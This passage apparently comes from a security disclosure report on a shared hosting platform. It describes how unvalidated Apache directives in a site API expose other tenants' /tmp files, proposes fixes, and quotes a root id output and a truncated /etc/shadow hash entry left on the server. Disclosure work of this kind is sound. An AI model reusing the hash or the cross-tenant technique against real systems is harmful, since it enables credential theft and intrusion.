- `dolibarr_install.log` — A 1.5MB install log from another tenant's Dolibarr ERP installation. Install logs frequently contain database credentials, admin passwords, and internal paths.
- `proof.txt` — I read this file (it appeared to be a researcher's PoC). Contents: `uid=0(root) gid=0(root) groups=0(root)` and `http21`. Someone else achieved root on this server.
- `impact.txt` — Contains what appears to be `/etc/shadow` hash entries: `root:$6$CepAWir8iHWS$ZC1a7dkny/…`

I want to be clear: I did not read `kg_tmail_sessions.json` or `dolibarr_install.log`. The directory listing alone demonstrates the cross-tenant exposure. The `proof.txt` and `impact.txt` files appear to be from another security researcher testing the same server, and their contents confirm that privilege escalation to root has already been demonstrated on this machine.

### Relation to  FS#363 

This looks like a regression of the cross-tenant `/tmp` issue that was reported as  FS#363  and marked as fixed. The original fix may have addressed direct filesystem access, but the Apache Alias technique bypasses whatever controls were put in place.

### Severity

Medium to High. Cross-tenant data leakage on a shared hosting platform undermines the fundamental isolation guarantee. An attacker can discover other tenants' usernames, read their temp files, and potentially steal session tokens or credentials from install logs.

—

## Root Cause

All three bugs share the same root cause: the `vhost_additional_directives` field in the `/v1/site/{id}/` API endpoint has no validation. The API accepts any string and writes it directly into the Apache vhost configuration. There is no allowlist of safe directives, no blocklist of dangerous ones, and no syntax checking.

A proper fix would either:

1. Allowlist approach: Only permit a known-safe subset of directives (e.g., `Header`, `RewriteRule`, `ErrorDocument`) and reject everything else.
2. Sandbox approach: Run each tenant's Apache process in a container or namespace that prevents filesystem access outside the tenant's home directory and blocks outbound network connections from the httpd worker.
3. Remove the field entirely and provide structured alternatives (e.g., separate API fields for custom headers, rewrites, error pages).

Option 1 is the most practical short-term fix.

Thanks